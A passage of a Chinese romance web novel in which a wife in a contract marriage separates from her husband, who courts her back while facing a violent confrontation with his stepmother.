唯独带了一件关于他的,还是当初在老爷子寿宴那天,谢温言给她一件男士衬衫,用作睡衣。 她也不知道为什么自己非要拿一件他的衣服,想着可能是离婚后…… 他们之间会有实物的纪念品存在,证明他们曾经是有过这两年的。 不会在很久很久之后,她回忆他们之间发生过什么时,只剩下模糊的片段。甚至到最后她会以为那些都只是自己做的一个春梦。 * 谢温言驱车离开梧桐湾后,径直奔赴周绾宁的小公寓。 他想了一圈,她也只会去那。 轿跑停在公寓楼下,他坐在车里,抬头看向10楼,那里果然亮起了灯。 昨晚对她做了那样的事,让他现在上去面对她,显然连他自己都做不到那么若无其事。 谢温言将车停在公共停车位,到了小区楼下的超市里买了些周绾宁爱吃的菜、水果上楼,他敲响小公寓的门 春鈤。 但门内安静了许久,没人欢迎他的到来。 谢温言知道,她与他就隔着一扇门。 他深呼吸一口,声音温和不露怯:“我来陪你吃饭,吃完我就走。” 里面还是没动静。 “只陪你吃饭,什么都不做,也什么都……不说。” 里面陷于寂静,静到她刚刚与门的摩擦,都让他以为是自己的错觉。 时间越久,谢温言的心越是往下沉。 在他即将放弃准备离开时,房门打开的声响起在安静的楼道里,稍显突兀。 谢温言茫然回头看去,只见门开了一条缝,透出一些温暖的光。 他愣了愣,眼见楼道有风吹来,连忙大步走过去将房门推开。 原以为进去后,会看见心心念念了一个白天都没见到的人,谁知道客厅里空荡一片。 没有她,只有一旁紧闭的主卧门。 谢温言多少松了口气。 周绾宁现在不想看到他,但也没逃到他找不到的地方,或是没有就此不再见他。 他拿起厨房的围裙准备给她做一顿晚餐。 忽然想起这是一年前,他和周绾宁亲自挑的。 那次周绾宁也是心情不好跑回了小公寓里,他从春城探讨完商务活动回来,没在梧桐湾看到她,发现她搬回了公寓住。 一开始他还不知道原因,后来是发现部分佣人苛待了她。 他从逸园把桐姨接过来,让桐姨亲自照料周绾宁的饮食起居。 为了赔罪,那天他也是在这个小公寓里,给她做了满满一桌子的菜。 他们一起去超市。 周绾宁原本想为自己挑件酷酷的围裙,后来听到他亲自下厨,立马选了一件粉色库洛米,让他无可奈何地笑,只能宠着她答应她。 后来,他没让她进厨房,让她等在外面,自己亲自上。 那时,隔着厨房的玻璃,他看到她坐在椅子上,下巴顶在椅背,满眼是光地看着自己。 他知道,自己这辈子非她不可了。 他享受与她一起宅家的时光,也看得出她很需要人陪伴。 他们互补。 这两年他确实为了工作有些疏忽了她,但好在今后,他大抵不需要再出国,将会有更多的时间让周绾宁知道他的心意。 他熟稔地系上围裙,开始打蛋、切西红柿。 周绾宁喜欢他做的家常菜,为了塑身再是努力控制饮食的人,看到他的菜,她都会多吃两口。 不过他没有多做,他知道她控制身形不易。 最后,一共三菜一汤,他把菜放到小桌上,又拿来个玩偶放到餐桌对面。 如果她最后不愿意出来,还有个小玩偶陪着她。 随即,他来到卧室门前,轻轻敲了敲:“绾宁,我知道你现在不想见我,我已经做好了饭菜,你出来吃一些。晚上我还要回公司处理些事情,但你有任何事都可以找我。以后,你的事会是我最重要的事。不过我手机在昨天被人丢下河里了,新的手机号码我放在了餐桌上。” 里面没有动静。 谢温言心里沉了几分,说道:“对不起。” 随即他简单检查了一番小公寓的门窗、水电,确定没什么问题后,关门离开,并辗转走进了她隔壁的那间。 从知道她住这里开始,他就买下了另一间。 确保能刷卡进到这一层的,只有她和他。 既然她不愿意回到他给她的堡垒,那么接下来就由他来到她的营地。 这间屋子没怎么住,但每周都会有阿姨过来打扫,谢温言简单洗漱后,静静地躺在卧室里,这里是离她最近的地方,他们现在只有一墙之隔。 他会陪着她。 而周绾宁从卧室出来后,看到谢温言为她做的饭菜时,是有些愣怔的。 说实话,她确实很难去面对他。 昨晚两人发生那么激烈的矛盾和那样的事,她怎么可能做到对他毫无隔阂,坐下来一起吃饭? 但看到他贴心地准备了小熊,她还是有些绷不住。 他那么好,可惜他们并不合适…… 她默默夹起一口菜吃下,心情酸涩不已。 虽然明白这是他酒醒后的示好,但这一次他们不可能囫囵和好,将矛盾随意遮掩掉。 他们之间的问题就在那,当看不见没用,不解决也没用。 只是现在并不是解决矛盾的合理时机。 她不想要谢温言因为愧疚,承诺自己什么或者妥协什么。 否则等到以后他对她忍无可忍的时候,他们的矛盾只会爆发得更为猛烈。 她希望两个人能够心平气和坐下来洽谈一番。 当夜,收拾完餐厅,周绾宁重新躺在了自己的小房间里。 房间远没有梧桐湾装修高档,却全是她一点点布置起来的,很有安全感。 她侧睡躺下,闻着身上谢温言睡衣的香味,难得一夜无梦。 * 谢温言第二天起了大早,打开手机想要看周绾宁有没有发消息给他,却是落空。 他起身去敲她公寓的门,里面毫无动静显然已经没人了。 这是……起得比他早? 谢温言折返回公寓,调出家门口的密码锁监控查看一番。 上面显示一个小时前,她就已经离开了。 褪去他给她挑选的衣服后,她衣着朴素,头顶鸭舌帽,身穿冲锋衣,人形消瘦却很酷飒,完全没有之前穿慵懒风的周绾宁的影子。 如果不是这一层就他们两个,他会以为这是别人,不是她。 一种慌乱感在他心头乱窜。 周绾宁那么快改变了她日常着装风格,是不是意味着…… 过去他给她挑的衣服,她都不喜欢。 她不觉得那是他的好,而是觉得那些都是……他强加给她的? 一直以来,他给什么,她穿什么,他让她吃什么,她不爱吃也不会拒绝。 是不是因为她一直将自己当做这段契约婚姻的下位者? 谢温言不敢再细想她现在的心境,怕她想从衣食住行各方面开始,将他彻底排除在生活外。 他用了五年才走进她的世界,不能因为前一晚而毁了。 他,无法失去周绾宁。 想着,谢温言沉下眸色,驱车前往幼儿园。 * 幼儿园大门口。 周绾宁昨天没来上班,是韦老师帮忙代班,所以今天她负责在外迎接孩子们的到来。 马上要六一儿童节晚会汇演了,幼儿园周围的装饰还有屏幕滚动都提前向每个孩子宣布这个喜讯。 周绾宁之前在练习其他舞台表演时,未曾将六一的汇演表演落下,也跟幼儿园各个班级选上来负责伴舞的小朋友玩得很好。 一个两个小萝卜头进园区时,都会热情地跟她打招呼。 楼之熙小朋友也是其中一个。 看到她再次坐着她小舅舅的坐骑一起来,周绾宁连忙上前去接她。 顾文希将楼之熙递给周绾宁。 楼之熙还在半空呢,上来对着周绾宁就是一句:“小舅妈好~” 弄得周绾宁愣了一下,笑着点点她的头盔:“小朋友不可以乱说话。” “就是,你再胡乱叫人,舅舅马上就让垃圾车把你收走!”顾文希头盔下的脸颊,肉眼可见地红了。 楼之熙双手握拳,手舞足蹈:“小周老师,上周你的舞蹈表演,我妈妈说,小舅舅是来回反复地看,我们全家都知道这件事哦!” 周绾宁对上顾文希,顾文希的耳根都红透了,掐了掐小鬼的脸颊。 周绾宁笑着对上他:“谢谢你的喜欢。” 顾文希想要挠挠脑袋,又挠不到,随后摘下自己的头盔,在晨曦的阳光下甩了甩一头微长的发,带着点少年气息,眉目清秀又爽利。 周绾宁倒是没想到头盔下,会是一张这么俊秀的容颜,有些愣神。 楼之熙这时加入一句:“小周老师,怎么样,我小舅舅帅吧!小周老师你快把你的对象甩了,跟我小舅舅在一起,我小舅舅有车有房!还很会疼人哦!” 顾文希忍无可忍,直接拿头盔往小家伙脑袋上一扣,而后对周绾宁抱歉道:“家里催我找对象催得紧,这小鬼也是见一个就要给我找一个,小周老师你别介意。” 楼之熙声音在头盔里闷闷的:“才不是,小舅舅第一 𝑪𝑹 次送我来幼儿园的时候,就很喜欢小周老师!” 顾文希无奈,直接把孩子往周绾宁怀里一塞,随即捂着脸骑上摩托离开。 那是一副没脸见人的羞愤模样。 周绾宁有些被逗笑,无奈领着楼之熙进幼儿园里,只是再三告诉她,自己还没有和对象分开,不能做她的小舅妈。 而一旁的轿跑,后视镜照出谢温言阴沉的眼眸。 虽然上次就知道周绾宁在幼儿园是单身人设,但看到她被人觊觎,他依旧很不爽,不爽到整个人随时会炸。 他深吸一口气,调转车头,离开梧桐树下。 第35章 心眼 好好利用自身优势勾引她。 宋承珉是被林晗求着过来的, 说谢温言最近火气很大。 一开始,宋承珉并不以为然。 谢温言那样的, 事业前路畅通无阻,还斩掉了孙家在盛坤集团的左膀右臂,娇妻在怀,能有什么火气? 但踏入盛坤总裁办公室的时候,他还是嗅出了一丝不对劲。 他走到低头批阅文书的谢温言面前,拿起旁边的钢笔,上前挑起谢温言的下巴。 “找死?”谢温言一把抽走钢笔, 没好气极了。 “哟, 还是第一次从你嘴里听到这么不友好的话。”宋承珉乐呵了, 还看到谢温言下巴爆了一颗痘, 笑了,“哟,上次见你爆痘还是七年前,谢温言你不年轻了, 怎么还长青春痘了呢。” “不年轻”三个字,再次激起了谢温言的雷点。 他抄起一旁的书砸了过去。 宋承珉再次闪身躲过,帮他捡起:“跟嫂子有矛盾了?” 谢温言奋笔疾书的手一顿, 想到自己谈恋爱上确实没什么建树,还是要靠宋承珉帮一下忙,于是缓和了语气:“走,刚刚抱歉,我请你喝酒。” 随即, 两个人出发不寐酒吧。 那是京市二代常去的静吧。 非高级会员连踏足这里的机会都没有。 宋承珉是这里的常客,作为svip的谢温言倒不常来。 谢温言其实不太能喝酒,之前在云归会所喝那么多, 宋承珉已是开了眼,今天看到他继续喝酒如牛饮水一般,还是惊掉了下巴。 果然,再牛叉的男人碰上爱情,也得在爱情海里折上一折。 大概入肚三杯,谢温言才将自己和周绾宁近期的矛盾说出了口。 宋承珉震惊:“你对嫂子真那样了?那娇娇弱弱的小白花经得起你这样对待吗?” “所以,她现在……不要我了。” 谢温言不想回家看到那封离婚协议书,就再也没踏入他们的主卧。 宋承珉有些恨铁不成钢:“谢大佬、谢总。” “你说,长成你这丰神俊朗,身材超绝,举手投足都在散发魅力的模样。不好好利用自身优势勾引她,你在这自怨自艾什么?” “还是说你觉得嫂子会喜欢一个抛下她两年不闻不问的男人?我看你是太爱了,脑子乱了。” 宋承珉疯狂输出,“从周绾宁为了重回舞台,宁愿净身出户这一点可以看出,她虽然看上去柔弱,但她是有傲气在的。那个男人怎么可能在嫂子心里还有一席之地,就算有,也只是蚊子血。” 谢温言一口闷了杯中的威士忌,水晶制的玻璃杯被轻轻砸在茶几上,发出清脆的声响。 “可她的复出舞台,周思恒都被邀请了,而我还得靠别人告知,她心里或许没有周思恒,但不一定有我。” 谢温言抬起头,黑色衬衫解开几颗扣子,露出细长又白皙的脖颈,最深的领子下还能看到胸肌陷下的沟壑。 不知道是不是酒精的刺激,他往日深邃漆黑的眼眸,这时候异常明亮,看着像是有了泪意,和一份伤神。 “我也想让她爱上我。但我……” “无论用什么办法都走不进她的心里,我觉得我和她之间隔着铜墙铁壁,她也始终拒我于千里之外。” 宋承珉何德何能可以看到在商界翻手为云覆手为雨、所向披靡的大佬,此刻在自己面前像是得不到心爱糖果的小可怜。 他有点服气:“哥,听我的。” “男追女隔层纱而已。你别把现在这副害怕被抛弃的可怜模样对准我,你去对准嫂子。” 谢温言凝眉不解。 宋承珉被他求知若渴的眼神看得一愣,决定将自己在情场上的招式,倾情相授给眼前这位为爱颓废的哥们。 “首先,咱嫂子一看就对会卖惨的孩子没有招架能力,你平时一副冷硬强势的模样对着员工还行,对着老婆你就不能这么端着。” 谢温言若有所思:“确实。” “她很喜欢温鄞。小时候,温鄞看见绾宁就哭着伸手要她抱抱,绾宁嘴上说着不敢抱,但最后都会抱起来哄他。” “对嘛!所以你要让嫂子看到你的脆弱,让她看到你离不开她。” “而且,周思恒拿什么跟你比?你可是正宫,他说起来连个外室都算不上,你担心他干什么?” 听此,谢温言眸色沉沉地站起身来。 宋承珉一愣,拉住他:“诶,去哪?” “绾宁身边的苍蝇不止只有周思恒一个,有个更年轻的在觊觎。趁那人还没来得及勾引她,我得先去制止。” 宋承珉倒是来了兴致:“你想怎么?” “当然是……搞点夫妻情趣。” 说完,谢温言眸色带着笃定地离开。 宋承珉被逗笑,喝下一口酒,祝他顺利。 * 周绾宁今天虽然早早结束了自己的课程,也帮几个小孩子巩固了一周后的晚会的舞蹈练习。 韦老师今天忙了一天,注意到周绾宁身着冲锋衣,愣了下:“呀,和小周老师你共事两年,这是我第一次看到你穿得这样酷。” 周绾宁也看了看自己身上酷酷的衣服,这是休学一年兼职时她时常穿的衣服。 也算是等待和谢温言的感情结束后,她可以自己决定的衣着装扮。 谢温言倒是没在衣着上强求过她什么,只是以前他不在,她去谢家的时候,被孙晗莉带去过那些贵妇的社交场所。 说实话,周家没倒前,这样的场合她也是去过的,只是不常去。 她在礼仪上不曾输过。 但那时她手上没有余钱,买不起昂贵的礼服,被孙晗莉的小姐妹各种明嘲暗讽。 最后周绾宁主动打开了谢温言为她准备的衣帽间,把自己培养成一个合格的工具人太太。 去参加宴会时,身上的衣服首饰将近半套房子。 但现在合约即将到期,她会脱去那沉重的礼服、高档的首饰,回到周绾宁的轻松穿搭。 不过她知道这样也不好。 有一种将谢温言用完就丢的感觉,可他如果那天不那么过分,他再是不答应她回归舞台,他们也能和和气气地度过最后一个月的时光…… 有了这种对谢温鄞稍有愧疚的心理,所以在接到李叔电话的时候,她连忙接了。 她知道李叔找自己,一定是因为谢温言的事。 “喂,李叔,怎么了?” “……”李叔那边很犹豫,“夫人,先生把自己灌醉了,非要我带着他来见你,我们现在就在幼儿园里面。” “里面?!”周绾宁愣住了,神情慌乱。 “对,目前就在停车场里,我担心他出去找你,所以跟他说你马上就来。” 周绾宁扶了扶额头:“那好,我现在过来,你一定别让他下车。” “诶好。” 周绾宁挂断电话,看到离放学还有一段时间,连忙起身出去了。 在学校的停车场里,她看到了一辆埃尔法商务车,是他们家的车牌号。 她犹豫万分,打开车门走进去。 片刻后,李叔下来了,到一旁的树下去抽烟。 周绾宁则一进到车里,就被陷入酒意的男人牵住了手。 上次她离开梧桐湾的时候,他是醉酒状态,现在的他也是,所以周绾宁是有些害怕的。 “谢温言,你怎么又喝酒了。” 这一 𝑪𝑹 个月来,他好像情绪都不是特别的好。 谢温言喝了那三杯后,就没再喝了,只是刚刚用消毒酒精在领口处喷了一些。 他想只有这样,她不会怀疑他现在是醉酒状态。 他将她扯到自己面前后,用头蹭了蹭她:“绾宁……” 这副金毛般粘人的模样,周绾宁真的很招架不住。 可是再是不舍也只能割舍。 “谢温言,回去吧,马上就要下课了,不能让孩子们看到你在这。” 虽然嘴里说着生硬的话,但周绾宁知道,哪怕只是这样抱着他,她的心魂都得到了安宁与舒适。 她怕自己会沉浸在谢温言给她的这份感觉里,然后再也无法将他割舍掉。 听了她的话后,谢温言微微后移,靠在椅背上,目光灼灼地盯着她,一个字也不说,就是专注看她。 车里很安谧,车外不远处还有孩子们的课外活动很热闹。 两厢对比,周绾宁的心再次慌乱了。 他这样的眼神,和那天完全醉酒状态时看着她的差不多,像是要将她生吞活剥了似的。 “谢温言我给过我们彼此机会了,但我们之间或许真的不合适。” 无论是对她回归舞台的决定有分歧,还是他们之间处理矛盾的方式,都有着大问题,并不是合格的夫妻。 不过,她不会跟他就此激烈地争吵。 她想,哪怕和谢温言分开,他们之间也该是美好的回忆。 谢温言则以为她说的是上次的试试,不甘地追问:“我们怎么就不合适了?” 他将她拉到自己怀里坐好,“到底是我们之间不合适,还是你心里始终没我?” “我心里……” 周绾宁的话语在谢温言殷切的眼神里停住,片刻后她推拒他,“谢温言,你假装喝醉有意思吗?” 谢温言愣了下,暗恼自己没沉住气,但箍紧了她的腰:“绾宁,回答我。” 周绾宁侧过头不想看他:“请你别强迫我,你这样只会让我想起前天晚上……” 一句话,让谢温言眼底有痛意闪过。 他知道,自己给周绾宁造成了些心理阴影。 现在他又后悔自己为什么要喷酒精。 明着来又怎么样? 现在这醉醺醺的模样,或许只会把周绾宁推得更远。 就在谢温言心头思绪紊乱的时候,另一侧的车门被人打开了,只见两颗小脑袋探头进来。 是谢温鄞和楼之熙。 谢温鄞看到车里的哥哥和嫂子时,立马笑得甜甜的,哪怕还缺了一颗牙。 “楼之熙,看到没有,这车就是我哥哥的,你看我嫂子也在里面,我早就跟你说过,小周老师就是我的嫂子,你小舅舅没戏了!” 楼之熙看着车里抱在一起的两个人,惊呆了。 再看到谢温言的颜值身材时,更是惊艳:“谢温鄞,你哥哥好像有点帅哦。” “我哥哥岂止是帅,和我嫂子这是天造地……对,反正就是一对!”谢温鄞见自己哥哥今天的美貌,没有为自己夸下的海口丢脸,立马趾高气扬起来,“我说了吧,嫂子跟我哥哥就是很般配,以后生下来的小孩会比你都好看呢。” “可我就想要小周老师做我的小舅妈。”楼之熙有点想哭,特别是当她看到谢温鄞哥哥那么帅,和小周老师还亲亲抱抱的,感情看着就很好。 呜呜,她小舅舅好像真的没戏了。 周绾宁已经呆住了,好久才反应过来自己和谢温言此刻的姿势不对,而且还是在两个孩子面前。 孩子也就算了,这是在幼儿园里,他们两个是她的学生! 顿时,周绾宁就像是炸毛的猫一样,极力推开谢温言,从车上下来,并将门拉上。 她是有些生气的,所以在犹豫着不知道该给孩子们怎么交代的时候,她选择打开车门警告里面的人。 “谢温言,不许再来幼儿园里面找我。” 说完,她关上门,对一旁走来的李叔道,“快把他送走吧,以后没事别来了。” “好的,夫人。”李叔也是很少看到周绾宁这样疾言厉色的模样,不管车里谢温言是什么反应,反正他是应下了。 他知道,这个家最终还是得听他们夫人的。 周绾宁不再去管车里的人,拉着两个孩子远离停车场。 而楼之熙发现周绾宁做自己小舅妈希望破灭后,一直流眼泪。 向来大大咧咧的人,这次真是伤心极了,哭得很委屈,像个破碎的洋娃娃。 周绾宁看着这样的楼之熙,心疼不已,一边哄着她,一边唾弃谢温言。 他这一次过来,谢温鄞那么配合、凑巧地带楼之熙来开车门。 她还没那么笨,猜不出来谢温言在耍心眼。 可这样对付一个小孩子,也亏他想得出来! 第36章 受伤 她有点儿想要他。 之后一连几日, 谢温言都没有出现在周绾宁的生活里。 但属于他的痕迹却是一分不少—— 家门口总有他做的菜饭。 有时候他来不及做,就会送来桐姨做的。 两厢口味之间的不同, 她能分辨得出来。 对于他送饭菜来,周绾宁没有拒绝。 她做的不好吃,外卖又不干净,所以他找人送来,她也不浪费食物。 只是她想习惯坐地铁上下班,李叔却总按时地在公寓楼下等她。 她有拒绝过,李叔表露出为难。 说是他在这个家的存在, 就是为了给她的出行做司机, 如果她不愿意让他载, 他会失业。 向来稳重又和蔼的叔叔在她面前露出对生活的无奈。 周绾宁再是下定决心要做铁石心肠的人, 也无法拒绝,最后只能劳烦李叔每天送自己上下班。 谢温言处理完公司的一些琐事,回了逸园去陪爷爷下棋。 听到大门外不断传来孙晗莉的拍门声。 谢温言和老爷子当没听到,倒是谢书俊也不知道是什么心境, 一直在水榭里走来走去,很是焦躁。 要不是老爷子现在说不了多少话,看到自己儿子这模样, 不得怒斥个八百句,现在只能叹气。 “绾宁呢?”老爷子说话不太清晰,但简单几个字还是能表达的。 谢温言的棋子僵在半空,迟迟落不下。 最后,他略一失神, 棋子落点偏离了原来的轨道。 老爷子立马抬起手,让他落棋无悔,不许拿走, 而后指使旁边的人帮忙把谢温言的白棋取走。 就在这时,大门口处传来喧哗,只见孙晗莉无视佣人的阻拦,闯进了凉亭这边。 谢老爷子连眼神都没给,谢温言自是也未将孙晗莉放在眼里。 孙晗莉直奔谢温言面前:“我都已经退出了盛坤,为什么还不肯放过我?孙家给盛坤给你爸的补偿还不够吗,至于你对着我赶尽杀绝?” 谢老爷子怒瞪她,谢温言示意老爷子继续下棋。 孙晗莉气笑。 她捏着包,眼神决绝:“谢温言你老婆都要跟你离婚了,你还来管我和你爸的事,是不是手太长了?” 谢温言没什么情绪的眼睛里流露出一份冷然:“你倒是……将我的事都知道得一清二楚。” “你不也是将我的事情也调查得一清二楚吗?”孙晗莉深吸一口气,“你知不知道是你爸出轨他秘书,我才坑他的?如果他对我忠贞,我也不会做出这样的事,会继续维持好这个家。” “所以,难道你不清楚他的本性吗?”谢温言觉得好笑。 “什么?” “从你做我爸妈的小三开始,就该知道他这样的人,本性难移。有三就会有四,现在后悔了,你的报应还没到。” “你!”孙晗莉攥紧拳头,“我和你爸能走到今天这样鱼 春鈤 死网破的境地,跟你不无关系!” “怎么,你是觉得你逼死我妈,携肚上位,我就该放下所有仇怨,和你上演母慈子孝?你配吗?” 孙晗莉眼眶微红:“这么多年了,是你一直在羞辱我!” “我好歹也是孙家大小姐,虽然跟了你父亲是不光彩,但再怎么当初也是你们谢家有求于我,我是想跟你们好好相处的,哪怕你在我和你爸的婚礼上这样羞辱我,我也是想跟你这个继子和谐相处。可我好不容易怀了温鄞,你竟然让我的儿子名字里跟了你妈的姓,这口针我吞不下去!” “给你儿子名字里加个我妈的姓,你就忍不下去了,你却拿着谢霜鄞的B超照摊到我那已经抑郁的妈妈面前,害她悲伤过度流产了一个三个月大的孩子。” 谢温言站起身,静静地看着孙晗莉,“还有,别以为我不知道你一年前做了什么。” 孙晗莉愣了愣,不清楚他说的是哪件事。 “绾宁那时候很热情地想要融入谢家,我不想让她觉得家里氛围不好,所以对你这个后妈也算是毕恭毕敬,没有之前那样冷待。我是想要你哪怕看在我妻子的面上也装得像样些,但我不是让你借着绾宁的手,来害我的。” 一年前的事,他没有告诉过绾宁。 那一次,她知道他要出国几天,恰好那段时间国外枪击案频发,她便和孙晗莉一起去附近的云白寺祈福。 最后在他上飞机前,将一只香包系到了他的公文包上,让他戴着保平安。 那时,京市冷,香包的气味不浓郁,但他到了新西兰的湿热天气,香包里水培的花开了。 他开着车直到过敏晕厥,后面不知道发生了什么事,直到裴特助赶到才得知香包里暗藏玄机。 这件事他始终不敢让周绾宁知道,也不敢让她知道他花粉过敏。 不然他在国外失联十五天怎么也瞒不过去。 好在后来他回国,她也并没有问起来。 后来他才知道她奶奶车祸住了院,她没有心思关注他。 他倒也觉得欣慰,不然她怕是会看见他那时候行动都是不方便的,甚至不敢跟她同房生怕她看到他车祸过后还没愈合的伤。 他也让人着手去白云寺调查了寺庙的香包。 寺内的香包里根本没有花粉,甚至连香料都没有。 所以谁要害他一目了然。 如果他因此与周绾宁有了隔阂,怕是就随了她愿。 “是你先向我宣战的,孙晗莉。”谢温言嘴角勾起,“既然你不愿意与我维持表面的和平,我也不怕与你彻底撕破脸皮。” 孙晗莉愣了一下:“你打算做什么?” “你回家等通知吧,这次不光是你,还有你那卖弄权利的父亲,我会亲自将你引以为傲的孙家,铲平。” 孙晗莉顿时犹如困兽一样,伸手从自己后面的发髻里取下簪子,往谢温言身上刺。 一旁端着水果来给爷爷和哥哥吃的谢霜鄞见此,在原地呆滞,手中的托盘没端稳摔落在地。 一旁中风的老爷子更是没有想到会发出这一幕,想要喊叫让人过来,却发不出更大的声音。 直到谢霜鄞看到自己哥哥的身上涌出鲜血,失控到尖叫起来。 而女儿的声音,让陷入癫狂的孙晗莉有一瞬的清醒。 她看了看脸色煞白的女儿,又看了眼面前脸色痛苦,捂着心口的谢温言,吓得丢掉手中的簪子,趁着周围没人过来,连忙急匆匆跑掉。 佣人见此,一半打电话报警,一半去照看谢温言的情况。 * 幼儿园的舞蹈室里。 周绾宁心虚有些不宁,导致好几次跳错节拍。 直到看到明潇打来了电话,她一边捂着心脏,一边走向不远处的窗户,看向外面的绿野。 “喂,潇潇?” “我是看到今天有雷暴天气,特意打电话过来提醒你的,不过上次经历那件事情,你家那位应该也跟你提醒过了哦?” 周绾宁想起还没告诉明潇自己和谢温言的事情:“我和他,暂时分居了。” “分居?!”明潇显然觉得不可思议,“不是,谢温言舍得?” “他……没舍得,是我比较强势,他还是不支持我回到舞台,所以我决定到期就跟他离婚。” 明潇不解:“我跟林晗倒是常有联系,从她的口吻里,我并不觉得谢温言不支持你跳舞啊。” “嗯?” “林晗最近可忙了,在全城各地找影像修复的地方,说那录像带是温璐芸老师,对了,你知道温璐芸老师的哦,就是我们学舞蹈时候最敬仰的女神,她就是谢温言那个神秘的母亲。” “嗯,我知道,然后呢?” “温璐芸老师以前录制过可多可多还没有上舞台表演和发行过的舞台,她的舞蹈还设置了版权专利,虽然她无缘再跳了,但她说这是一份彩礼,是要给自己儿媳妇的。” 周绾宁心念一荡。 “林晗说,谢温言好早前就要她把这份礼物修复好送给你呢。” “……很早前?” “对啊。所以他怎么可能不支持你重回舞台呢,如果他不支持你重回舞台,干脆就不要修复了。所以我觉得你可以和他坐下来好好谈谈这件事。” “好。”周绾宁心里微微升起一丝开心。 挂了明潇的电话后,周绾宁便给谢温言打了过去。 虽然不知道为什么他突然又换了个手机号,但周绾宁在他给号码的那一天就已经将号码录了进去。 她知道,自己迟早会用上的。 对于喜欢的人,周绾宁偶尔也把控不住自己,会想他。 想他的脸、想他的身材、想他的力量、想他的吻…… 但随着她按下号码,对方却是久久的无人接听。 周绾宁倒不像是之前那样会陷入怀疑,以为谢温言耍她玩、不在乎她。 只是觉得他或许是在忙。 她今天没有在幼儿园久待,早早地回家了。 她知道谢温言今天还是会来送饭。 虽然饭菜时而是他做,时而是桐姨做,但总之都是他送来的。 回到家后,她洗了洗澡,为了诱惑待会谢温言说真话,她还特意换上了比较清凉的睡衣,并喷上了一些些能够调情的香水。 可能是排卵期作祟,她有点儿想要他。 如果两个人说开,未尝不是可以在床上继续温情一番。 但如果没说开,那就彼此熬着吧。 周绾宁等在客厅里,时时刻刻倾听门外的电梯有没有响。 期间,倒是有响过一次,但只是她前几天买的衣服到了,而地毯前面还是空空荡荡的,没有之前的饭盒。 周绾宁不甘心,继续等待。 直到窗外忽然闪过一道亮光。 她愣了下,想起了明潇说的,今天晚上会有雷暴天气。 她哆嗦一下,忍着恐惧过去关窗拉窗帘。 直到看到窗帘嘴里侧的遮光布时,她忽然想起谢温言在她彻底搬离这里前,有让人往这里多安装了一层玻璃和遮光帘。 说是以后她回来公寓小住,哪怕遇到雷暴天也不会害怕。 周绾宁呼吸不稳,忙关上了。 但显然今天的雷暴天有点大,手机里也不断传来各种黄色橙色预警。 周绾宁从沙发上拿起谢温言买给她的陪伴大熊,将自己完全瑟缩起来,又时刻关注楼道的声音。 直到划拉一声,电灯灭掉,只剩下楼道的应急灯。 周绾宁连忙拿起手机形成光源。 她想谢温言平时应该都是这个时候来的,今天为什么不来了。 是不是他也放弃跟她和好了? 她决定去楼道里待着,那里有光会舒缓一点。 随即周绾宁裹着披肩,小心翼翼地往门外走,一直到打开门,楼道里的光照进来的那一刻,她才稍稍松了一口气。 但下一秒,电梯门开了。 她错愕看去,只见谢温言脸色惨白地出现在那里,随即步履踉跄却又无比坚定地走向她。 第37章 倾诉 那儿永远那么欢迎我。 “谢温言你怎么……” 周绾宁的话没有说完, 就被拥上来的男人打断。 谢温言将她完全抱住,就像沙发上那只抱抱熊一样, 将她对雷暴天的恐惧驱散许多。 周绾宁鼻头有些酸,伸手轻轻揽住他的腰身,想闻着他身上的雪松 𝑪𝑹 味驱散自己的难过。 但忽的,她闻到他身上有一股淡淡的消毒水味。 周绾宁刚要询问他是不舒服去过医院了吗,却发现谢温言身躯有些不稳。 她连忙伸手将他紧紧拥住:“谢温言。” “进屋里吧,楼道有风雨吹进来,会着凉。” 他微微后退些, 伸手轻轻安抚她的脸颊。 周绾宁两只手握住他的, 点点头, 随即将他带到了自己的小公寓里。 不知道为什么, 在关上门的时候,周绾宁觉得有一种不像是带现任老公回家,而是带了男朋友回小公寓。 谢温言这次没等她说话,先落座在了沙发上, 姿态看上去很疲倦。 周绾宁好奇:“谢温言,你是不是……发烧了?”刚刚在楼道的灯光下,她看到他脸色不太好, 额头还有点薄汗。 “是路上来的时候淋了雨冻着了,没什么大碍。” 缓了缓后,他起身:“冰箱里还有蔬菜吗,我给你做饭吃。” 周绾宁愣了?愣,回答:“已经没了, 但我叫了外卖,应该够我们俩个吃……” 谢温言点点头。 许是之前闹过矛盾,又没和好, 现在两人面对面还怪有些尴尬的。 周绾宁见他不动声色,心里也有些没底,他现在对自己到底是什么态度。 她走到柜子里拿出香薰蜡烛,用打火机点燃,放到茶几上为不大的空间照明。 依兰香在空间里放出些许香气,就叫待在空间里对彼此心猿意马的两个人有些难以自持。 谢温言想说些什么,每次酝酿好情绪,就有人打电话过来。 虽然只是静音,但在安谧的空间里,震动声显得尤为刺耳。 周绾宁看着他挂了三次电话,提醒他:“或许是公司有什么重要的事,你就接吧。” 谢温言点点头,努力撑起自己,走向不远处的落地窗前接听。 温璐琳简直气笑:“刚昨晚手术你给我跑到哪里去了,知道自己这次伤得不轻吗?谢温言你年纪越大越叛逆是不是!” 无论是温家还是谢家,现在也唯有这个小姨敢这样训斥谢温言。 谢温言回头看了眼去拿外卖的周绾宁,压低声音:“我不放心她一个人待在公寓里,今天是雷暴天。” “谢温言,你太爱她了,爱到不顾你自己的命!你万一有个好歹,我怎么跟你妈交代!还不快滚回来继续休息。” 谢温言第一次忤逆小姨,将电话挂断,发了条消息过去,说自己再过一会就回去了。 “谢温言。”餐桌那,周绾宁唤他,“吃饭了。” 谢温言立即放下手机走过去。 周绾宁正在布盘,见他要帮忙,拒绝了:“你今天不舒服,就坐下来吃吧,再怎么你也是客人。” “客人?”谢温言嗤笑一声,有点破防。 周绾宁不管他,给他盛了一碗罗宋汤:“你先驱驱寒。” 谢温言接过她递过来的碗,默默喝了起来。 两个人沉默无声地面对着吃饭。 谢温言吃自己的,偶尔还会给周绾宁夹菜。 一顿饭下来,谢温言把垃圾收拾起来放在了楼道外,准备走的时候带走。 谁知道等他回到客厅的时候,周绾宁递过来了牙刷和毛巾。 “今晚雷暴天,你发了烧,估计回去路上也不安全,我帮你铺沙发,你要不歇一晚再走?” 周绾宁也不知道自己为什么会想让谢温言留下来。 谢温言愣了一下,知道自己今晚不可能陪她,那就把她哄睡着了,再离开。 他接过牙刷毛巾去了洗手间洗漱。 洗手台上也放了几只香薰蜡烛,照出一旁周绾宁的内衣。 虽然她不再穿他给她挑选的那些风格,但是里面的还穿着他给她买的。 谢温言有一瞬安心。 他顺手拿过她换下的衣物,帮她洗了。 周绾宁也是听到洗东西的声音走过来的。 在看到他骨骼分明又白皙的手里捏着自己紫色的小内内时,烛光下的脸红透了:“你、你怎么随便帮我洗这个……” 